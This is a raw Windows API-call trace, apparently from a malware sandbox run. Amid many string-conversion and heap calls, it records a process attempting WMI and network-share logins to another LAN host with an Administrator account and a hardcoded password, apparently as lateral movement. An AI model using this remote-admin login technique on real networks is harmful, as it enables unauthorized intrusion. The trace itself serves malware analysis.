CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbf, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc0, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc1, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc2, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc3, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc4, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0093.563] GetLastError () returned 0x57 [0093.563] SetLastError (dwErrCode=0x57) [0093.563] GetLastError () returned 0x57 [0093.563] SetLastError (dwErrCode=0x57) [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4dc, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="A") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4dd, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4de, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4df, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e0, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e1, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e2, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e3, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e4, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e5, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e6, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e7, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0093.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x6fe4e8, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0093.563] GetLastError () returned 0x57 [0093.564] SetLastError (dwErrCode=0x57) [0093.564] GetLastError () returned 0x57 [0093.564] SetLastError (dwErrCode=0x57) [0093.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054dc, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="6") returned 1 [0093.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054dd, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0093.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054de, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0093.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054df, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0093.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054e0, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0093.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054e1, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="C") returned 1 [0093.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054e2, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0093.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054e3, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="K") returned 1 [0093.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054e4, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="K") returned 1 [0093.564] GetLastError () returned 0x57 [0093.564] SetLastError (dwErrCode=0x57) [0093.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x4bca74, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0093.564] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x2ae920 [0093.564] GetLastError () returned 0x57 [0093.564] SetLastError (dwErrCode=0x57) [0093.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x4bca74, cbMultiByte=-1, lpWideCharStr=0x2ae940, cchWideChar=2 | out: lpWideCharStr="C") returned 2 [0093.564] GetLastError () returned 0x57 [0093.564] SetLastError (dwErrCode=0x57) [0093.564] GetLastError () returned 0x57 [0093.564] SetLastError (dwErrCode=0x57) [0093.564] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xdc) returned 0x322900 [0093.564] GetLastError () returned 0x57 [0093.564] SetLastError (dwErrCode=0x57) [0093.565] GetLastError () returned 0x57 [0093.565] SetLastError (dwErrCode=0x57) [0093.565] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268530 [0093.565] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2aad88) returned 1 [0093.565] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2aad88 | out: hHeap=0x230000) returned 1 [0093.565] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x29b9a8) returned 1 [0093.565] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29b9a8 | out: hHeap=0x230000) returned 1 [0093.565] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x271458) returned 1 [0093.565] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x271458 | out: hHeap=0x230000) returned 1 [0093.565] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2ae8f0) returned 1 [0093.565] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ae8f0 | out: hHeap=0x230000) returned 1 [0093.565] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2a10d8) returned 1 [0093.565] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2a10d8 | out: hHeap=0x230000) returned 1 [0093.565] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2684f8) returned 1 [0093.565] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2684f8 | out: hHeap=0x230000) returned 1 [0093.565] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2cda20) returned 1 [0093.565] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2cda20 | out: hHeap=0x230000) returned 1 [0093.565] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2ae920) returned 1 [0093.565] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ae920 | out: hHeap=0x230000) returned 1 [0093.565] GetLastError () returned 0x57 [0093.565] SetLastError (dwErrCode=0x57) [0093.565] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2a) returned 0x2684f8 [0093.565] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x312bb0) returned 1 [0093.566] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x312bb0 | out: hHeap=0x230000) returned 1 [0093.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x2683a8 [0093.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x2683e0 [0093.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x267d50 [0093.566] WbemLocator:IWbemLocator:ConnectServer (in: This=0x23160828, strNetworkResource="\\\\192.168.0.171\\root\\cimv2", strUser="Administrator", strPassword="6mnH7CdKK", strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x1d15fa0c | out: ppNamespace=0x1d15fa0c*=0x0) returned 0x80070005 [0095.201] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267d50) returned 1 [0095.201] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267d50 | out: hHeap=0x230000) returned 1 [0095.202] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2683e0) returned 1 [0095.202] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2683e0 | out: hHeap=0x230000) returned 1 [0095.202] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2683a8) returned 1 [0095.202] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2683a8 | out: hHeap=0x230000) returned 1 [0095.202] WbemLocator:IUnknown:Release (This=0x23160828) returned 0x0 [0095.202] CoUninitialize () [0095.388] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30f230 [0095.388] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x30f188 [0095.388] WNetAddConnection2A (lpNetResource=0x1d15fcb4*(dwScope=0x1, dwType=0x0, dwDisplayType=0x9, dwUsage=0x0, lpLocalName=0x0, lpRemoteName="\\\\192.168.0.171", lpComment=0x0, lpProvider=0x0), lpPassword="6mnH7CdKK", lpUserName="Administrator", dwFlags=0x1) returned 0x52e [0103.433] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30f188) returned 1 [0103.433] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30f188 | out: hHeap=0x230000) returned 1 [0103.433] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x30f230) returned 1 [0103.433] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x30f230 | out: hHeap=0x230000) returned 1 [0103.433] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0103.433] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x2, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0103.562] CoCreateInstance (in: rclsid=0x492500*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x492430*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d15fa08 | out: ppv=0x1d15fa08*=0xbdc0828) returned 0x0 [0103.580] GetLastError () returned 0x0 [0103.580] SetLastError (dwErrCode=0x0) [0103.580] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x26) returned 0x312320 [0103.580] GetLastError () returned 0x0 [0103.580] SetLastError (dwErrCode=0x0) [0103.580] GetLastError () returned 0x0 [0103.580] SetLastError (dwErrCode=0x0) [0103.580] GetLastError () returned 0x0 [0103.580] SetLastError (dwErrCode=0x0) [0103.580] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xdc) returned 0x301d30 [0103.580] GetLastError () returned 0x0 [0103.580] SetLastError (dwErrCode=0x0) [0103.580] GetLastError () returned 0x0 [0103.580] SetLastError (dwErrCode=0x0) [0103.580] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x5e) returned 0x2dfff0 [0103.581] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x2ddfa0 [0103.581] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x3122f0 [0103.581] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x324) returned 0x3070f0 [0103.581] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1a4) returned 0x31e300 [0103.581] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1a4) returned 0x32a830 [0103.581] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x125) returned 0x272488 [0103.581] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1d15f2cc | out: lpCPInfo=0x1d15f2cc) returned 1 [0103.581] GetLastError () returned 0x0 [0103.581] SetLastError (dwErrCode=0x0) [0103.581] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a9, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0103.581] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x272da0 [0103.581] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a9, cbMultiByte=255, lpWideCharStr=0x272dc8, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤") returned 255 [0103.581] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤", cchSrc=255, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 255 [0103.581] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x307420 [0103.581] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤", cchSrc=255, lpDestStr=0x307448, cchDest=255, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽") returned 255 [0103.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchWideChar=255, lpMultiByteStr=0x31e3a1, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿýýýý", lpUsedDefaultChar=0x0) returned 255 [0103.581] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x307420) returned 1 [0103.581] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x307420 | out: hHeap=0x230000) returned 1 [0103.582] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0) returned 1 [0103.582] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0 | out: hHeap=0x230000) returned 1 [0103.582] GetLastError () returned 0x0 [0103.582] SetLastError (dwErrCode=0x0) [0103.582] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a9, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0103.582] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x272da0 [0103.582] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a9, cbMultiByte=255, lpWideCharStr=0x272dc8, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤") returned 255 [0103.582] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤", cchSrc=255, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 255 [0103.582] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x307420 [0103.582] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤", cchSrc=255, lpDestStr=0x307448, cchDest=255, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽") returned 255 [0103.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽", cchWideChar=255, lpMultiByteStr=0x32a8d1, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fýýýý", lpUsedDefaultChar=0x0) returned 255 [0103.582] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x307420) returned 1 [0103.582] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x307420 | out: hHeap=0x230000) returned 1 [0103.582] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0) returned 1 [0103.582] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0 | out: hHeap=0x230000) returned 1 [0103.582] GetLastError () returned 0x0 [0103.582] SetLastError (dwErrCode=0x0) [0103.582] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0103.582] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22c) returned 0x272da0 [0103.582] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a8, cbMultiByte=256, lpWideCharStr=0x272dc8, cchWideChar=256 | out: lpWideCharStr="") returned 256 [0103.582] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=256, lpCharType=0x307210 | out: lpCharType=0x307210) 